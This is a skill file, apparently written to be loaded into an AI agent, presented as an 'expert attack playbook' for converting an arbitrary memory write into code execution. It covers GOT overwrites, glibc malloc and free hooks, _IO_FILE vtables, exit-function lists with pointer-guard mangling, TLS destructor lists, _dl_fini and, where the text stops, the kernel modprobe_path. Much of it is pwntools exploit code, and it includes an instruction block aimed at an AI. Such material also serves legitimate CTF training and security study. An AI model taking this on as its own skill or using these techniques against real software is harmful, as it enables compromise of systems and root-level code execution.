Arbitrary Write To Rce

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

0. RELATED ROUTING

• heap-exploitation — obtaining the arbitrary write via heap attacks
• format-string-exploitation — obtaining the arbitrary write via %n
• stack-overflow-and-rop — stack-based write primitives
• binary-protection-bypass — which targets are available given protection configuration
• heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation

1. TARGET SELECTION BY GLIBC VERSION

2. GOT OVERWRITE

Replace a function pointer in the Global Offset Table.

Requirements

• Partial RELRO (.got.plt writable) — Full RELRO blocks this entirely

Common Targets

# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format

__free_hook

# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it

Realloc Trick for one_gadget Constraints

# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

See IO_FILE_EXPLOITATION.md for full details.

Quick Summary by Version

FSOP Trigger

# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main

Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):

1. Set pointer guard to 0
2. Set function pointer to ROL(target, 0x11)
3. Demangling: ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list (glibc ≥ 2.34)

Thread-local destructor list — the primary post-2.34 target.

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)

Location

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force

Exploitation

# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor

Exploitation

1. Corrupt a link_map entry's l_addr (relocation base) to shift the FINI_ARRAY pointer
2. Or corrupt l_info[DT_FINI_ARRAY] to point to fake array
3. Fake array contains target function pointer (system, one_gadget)
4. Trigger: exit() → _dl_fini → calls fake destructor

Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).

8. modprobe_path (KERNEL)

Overwrite the kernel's `modprobe_path` to execute arbitrary commands as root.

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")